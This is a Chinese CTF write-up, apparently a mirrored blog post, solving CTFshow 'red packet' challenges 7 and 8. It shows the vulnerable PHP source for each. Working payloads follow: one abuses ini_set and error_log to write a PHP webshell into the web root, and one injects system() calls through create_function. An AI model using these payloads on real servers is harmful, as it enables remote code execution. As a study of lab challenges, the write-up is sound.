当前位置: 首页 > news >正文

CTFshow 限时活动 红包挑战7、红包挑战8

CTFshow红包挑战7

写不出来一点,还是等了官方wp之后才复现。

image-20230814014654410

image-20230809140127263

直接给了源码

image-20230809140136952

<?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

extract:从数组中将变量导入到当前的符号表

ini_set:为一个配置选项设置值(我们可以修改配置项)

报错等级是2。他限定只能使用ls 什么什么,而且filter自定义函数过滤了'\ 、`` $这四个字符。不好使用闭合来绕过对getshell`的限制。

既然ls 什么什么里面的什么什么可以控制,那就先遍历目录来看看吧。

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/

当前环境存在5个扩展,包含xdebug。分别是mysqli.so opcache.so pdo_mysql.so sodium.so xdebug.so

image-20230814004001812


PHP版本是7.3.22

image-20230809145714849


输入?1=/,服务端内部语句拼接为ls '/'。返回了根目录下所有文件。

image-20230809141940032

flag应该就在flag文件中


开始思索题目。感觉关键代码是这三句:

//不同寻常的报错等级
error_reporting(2);//修改$name,$value
extract($_GET);//开启某个配置项
ini_set($name,$value);

程序执行期间的ini_set不能disable_functions,无法直接禁用str_replace函数


知识点:

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节(%00或者\000)进行截断来触发异常。

思路:

通过触发异常后,将回显的内容(可控)写入到web目录(修改配置项,把报错写入自定义报错日志)。即可实现写马到文件。

ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中

尝试看看报错,%00确实能截断导致报错。

image-20230814011351613

payload:

?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>

image-20230814011519435

可以发现,报错已经写入自定义的报错日志,同时,报错代码被自动执行了。

image-20230814011539368


此外,官方wp还给了一种造成报错的方法:

/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>
("%0C%08%00%00"^"`{ %2f")即EKc ^URL编码后EKc%20%02^

image-20230814014146477

但是直接

?name=error_log&value=1.php
&1=EKc%20%02^<?php system("cat /*");?>

是无法造成报错的,这种造成报错方式有待细细研究。

image-20230814011817769

image-20230814011839275

CTFshow红包挑战8

考点:PHP create_function

扩展练习(相关题目):NSS [NISACTF 2022]level-up

源码直接给了。

<?phphighlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();
?>

create_function($name,base64_encode($value))();相当于创建匿名函数后直接执行。就像nmhs();这样。

其中,$name是参数,base64_encode($value)是要执行的代码段,但是这里base64编码过了,执行不了。

可以看作如下代码:(片段1)【一定要当作函数片段来看,而不是一行有参数的函数调用】

nmhs($name){base64_encode($value)
}

那我就不要base64_encode($value),直接从$name开始构造。

先看看payload:

?value=Jay17&name=){}phpinfo();/*

我们把payload中$name带入片段1。

片段1nmhs($name){base64_encode($value)
}
带入$name
nmhs(){}phpinfo();/*){base64_encode($value)
}
整理一下
nmhs(){}phpinfo();
/*){base64_encode($value)
}

最终payload:

?value=Jay17&name=){}system("cat /flag");/*

image-20230812161026056

相关文章:

CTFshow 限时活动 红包挑战7、红包挑战8

CTFshow红包挑战7 写不出来一点&#xff0c;还是等了官方wp之后才复现。 直接给了源码 <?php highlight_file(__FILE__); error_reporting(2);extract($_GET); ini_set($name,$value);system("ls ".filter($_GET[1])."" );function filter($cmd){$cmd…...

Redis使用Lua脚本和Redisson来保证库存扣减中的原子性和一致性

文章目录 前言1.使用SpringBoot Redis 原生实现方式2.使用redisson方式实现3. 使用RedisLua脚本实现3.1 lua脚本代码逻辑 3.2 与SpringBoot集成 4. Lua脚本方式和Redisson的方式对比5. 源码地址6. Redis从入门到精通系列文章7. 参考文档 前言 背景&#xff1a;最近有社群技术交…...

【从零开始学Kaggle竞赛】泰坦尼克之灾

目录 0.准备1.问题分析挑战流程数据集介绍结果提交 2.代码实现2.1 加载数据2.1.1 加载训练数据2.1.2 加载测试数据 2.2 数据分析2.3 模型建立与预测 3.结果提交 0.准备 注册kaggle账号后&#xff0c;进入titanic竞赛界面 https://www.kaggle.com/competitions/titanic 进入后界…...

输出无重复的3位数和计算无人机飞行坐标

编程题总结 题目一&#xff1a;输出无重复的3位数 题目描述 从{1,2,3,4,5,6,7,8,9}中随机挑选不重复的5个数字作为输入数组‘selectedDigits’&#xff0c;能组成多少个互不相同且无重复数字的3位数?请编写程》序&#xff0c;从小到大顺序&#xff0c;以数组形式输出这些3位…...

muduo 29 异步日志

目录 Muduo双缓冲异步日志模型: 异步日志实现: 为什么要实现非阻塞的日志...

Qt 对象序列化/反序列化

阅读本文大概需要 3 分钟 背景 日常开发过程中&#xff0c;避免不了对象序列化和反序列化&#xff0c;如果你使用 Qt 进行开发&#xff0c;那么有一种方法实现起来非常简单和容易。 实现 我们知道 Qt 的元对象系统非常强大&#xff0c;基于此属性我们可以实现对象的序列化和…...

从零学算法(非官方题库)

输入两棵二叉树A和B&#xff0c;判断B是不是A的子结构。(约定空树不是任意一个树的子结构) B是A的子结构&#xff0c; 即 A中有出现和B相同的结构和节点值。 例如: 给定的树 A:3/ \4 5/ \1 2给定的树 B&#xff1a;4 / 1返回 true&#xff0c;因为 B 与 A 的一个子树拥有相…...

Java # JVM内存管理

一、运行时数据区域 程序计数器、Java虚拟机栈、本地方法栈、Java堆、方法区、运行时常量池、直接内存 二、HotSpot虚拟机对象 对象创建&#xff1a; 引用检查类加载检查分配内存空间&#xff1a;指针碰撞、空闲列表分配空间初始化对象信息设置&#xff08;对象头内&#xff0…...

大疆第二批笔试复盘

大疆笔试复盘(8-14) 笔试时候的状态和下来复盘的感觉完全不一样,笔试时脑子是懵的。 (1)输出无重复三位数 题目描述 从 { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 } \left \{ 1,2,3,4,5,6,7,8,9 \right \...

【Linux】磁盘或内存 占用比较高要怎么排

当 Linux 磁盘空间满了时 请注意&#xff0c;在进行任何删除操作之前&#xff0c;请确保你知道哪些文件可以安全删除&#xff0c;并备份重要文件&#xff0c;以免意外丢失数据。当 Linux 磁盘空间满了时&#xff0c;可以按照以下步骤进行排查&#xff1a; 检查磁盘使用情况&…...

解决xss转义导致转码的问题

一、xss简介 人们经常将跨站脚本攻击&#xff08;Cross Site Scripting&#xff09;缩写为CSS&#xff0c;但这会与层叠样式表&#xff08;Cascading Style Sheets&#xff0c;CSS&#xff09;的缩写混淆。因此&#xff0c;有人将跨站脚本攻击缩写为XSS。跨站脚本攻击&#xff…...

numba 入门示例

一维向量求和&#xff1a; C A B 在有nv 近几年gpu的ubuntu 机器上&#xff0c; 环境预备&#xff1a; conda create -name numba_cuda_python3.10 python3.10 conda activate numba_cuda_python3.10conda install numba conda install cudatoolkit conda install -c nvi…...

BUUCTF 还原大师 1

题目描述&#xff1a; 我们得到了一串神秘字符串&#xff1a;TASC?O3RJMV?WDJKX?ZM,问号部分是未知大写字母&#xff0c;为了确定这个神秘字符串&#xff0c;我们通过了其他途径获得了这个字串的32位MD5码。但是我们获得它的32位MD5码也是残缺不全&#xff0c;E903???4D…...

自定义hook之首页数据请求动作封装 hooks

本例子实现了自定义hook之首页数据请求动作封装 hooks&#xff0c;具体代码如下 export type OrganData {dis: Array<{ disease: string; id: number }>;is_delete: number;name: string;organ_id: number;parent_id: number;sort: number; }; export type SwiperData …...

2023上半年京东手机行业品牌销售排行榜(京东数据平台)

后疫情时代&#xff0c;不少行业都迎来消费复苏&#xff0c;我国智能手机市场在今年上半年也实现温和的复苏&#xff0c;手机市场的出货量回暖。 根据鲸参谋平台的数据显示&#xff0c;2023年上半年&#xff0c;京东平台上手机的销量为2830万&#xff0c;环比增长约4%&#xf…...

lodash之cloneDeep()源码阅读笔记

lodash之cloneDeep()源码阅读笔记 基本上都在写业务代码&#xff0c;没有机会写库&#xff0c;还是想了解一下lodash的库源码是怎么样的&#xff0c;平时用的最多的就是cloneDeep()方法了&#xff0c;终于有空详细看看其中的源码。 本文基于lodash5.0.0版本的源码进行阅读。 /…...

算法模版,今天开始背

二分查找算法 int left_bound(int[] nums, int target) {int left 0, right nums.length - 1;// 搜索区间为 [left, right]while (left < right) {int mid left (right - left) / 2;if (nums[mid] < target) {// 搜索区间变为 [mid1, right]left mid 1;} else if …...

新的 Python URL 解析漏洞可能导致命令执行攻击

Python URL 解析函数中的一个高严重性安全漏洞已被披露&#xff0c;该漏洞可绕过 blocklist 实现的域或协议过滤方法&#xff0c;导致任意文件读取和命令执行。 CERT 协调中心&#xff08;CERT/CC&#xff09;在周五的一份公告中说&#xff1a;当整个 URL 都以空白字符开头时&…...

react项目做的h5页面加载缓慢优化(3s优化到0.6s)

打包到生产环境时去掉SOURCEMAP 禁用生成 Source Map 是一种权衡&#xff0c;可以根据项目的实际需求和优化目标来决定是否禁用。如果您对调试需求不是特别强烈&#xff0c;可以考虑在生产构建中禁用 Source Map 以获取更好的性能。但如果需要保留调试能力&#xff0c;可以在生…...

如何修复损坏的DOC和DOCX格式Word文件?

我们日常办公中&#xff0c;经常用到Word文档。但是有时会遇到word文件损坏、无法打开的情况。这时该怎么办&#xff1f;接着往下看&#xff0c;小编在这里就给大家带来最简单的Word文件修复方法&#xff01; 很多时候DOC和DOCX Word文件会无缘无故的损坏无法打开&#xff0c;一…...

conda相比python好处

Conda 作为 Python 的环境和包管理工具&#xff0c;相比原生 Python 生态&#xff08;如 pip 虚拟环境&#xff09;有许多独特优势&#xff0c;尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处&#xff1a; 一、一站式环境管理&#xff1a…...

【Linux】C语言执行shell指令

在C语言中执行Shell指令 在C语言中&#xff0c;有几种方法可以执行Shell指令&#xff1a; 1. 使用system()函数 这是最简单的方法&#xff0c;包含在stdlib.h头文件中&#xff1a; #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

LeetCode - 394. 字符串解码

题目 394. 字符串解码 - 力扣&#xff08;LeetCode&#xff09; 思路 使用两个栈&#xff1a;一个存储重复次数&#xff0c;一个存储字符串 遍历输入字符串&#xff1a; 数字处理&#xff1a;遇到数字时&#xff0c;累积计算重复次数左括号处理&#xff1a;保存当前状态&a…...

什么是库存周转?如何用进销存系统提高库存周转率?

你可能听说过这样一句话&#xff1a; “利润不是赚出来的&#xff0c;是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业&#xff0c;很多企业看着销售不错&#xff0c;账上却没钱、利润也不见了&#xff0c;一翻库存才发现&#xff1a; 一堆卖不动的旧货…...

ip子接口配置及删除

配置永久生效的子接口&#xff0c;2个IP 都可以登录你这一台服务器。重启不失效。 永久的 [应用] vi /etc/sysconfig/network-scripts/ifcfg-eth0修改文件内内容 TYPE"Ethernet" BOOTPROTO"none" NAME"eth0" DEVICE"eth0" ONBOOT&q…...

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…...

华硕a豆14 Air香氛版,美学与科技的馨香融合

在快节奏的现代生活中&#xff0c;我们渴望一个能激发创想、愉悦感官的工作与生活伙伴&#xff0c;它不仅是冰冷的科技工具&#xff0c;更能触动我们内心深处的细腻情感。正是在这样的期许下&#xff0c;华硕a豆14 Air香氛版翩然而至&#xff0c;它以一种前所未有的方式&#x…...

Yolov8 目标检测蒸馏学习记录

yolov8系列模型蒸馏基本流程&#xff0c;代码下载&#xff1a;这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中&#xff0c;**知识蒸馏&#xff08;Knowledge Distillation&#xff09;**被广泛应用&#xff0c;作为提升模型…...

Go 并发编程基础:通道(Channel)的使用

在 Go 中&#xff0c;Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式&#xff0c;用于在多个 Goroutine 之间传递数据&#xff0c;从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...

并发编程 - go版

1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程&#xff0c;系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...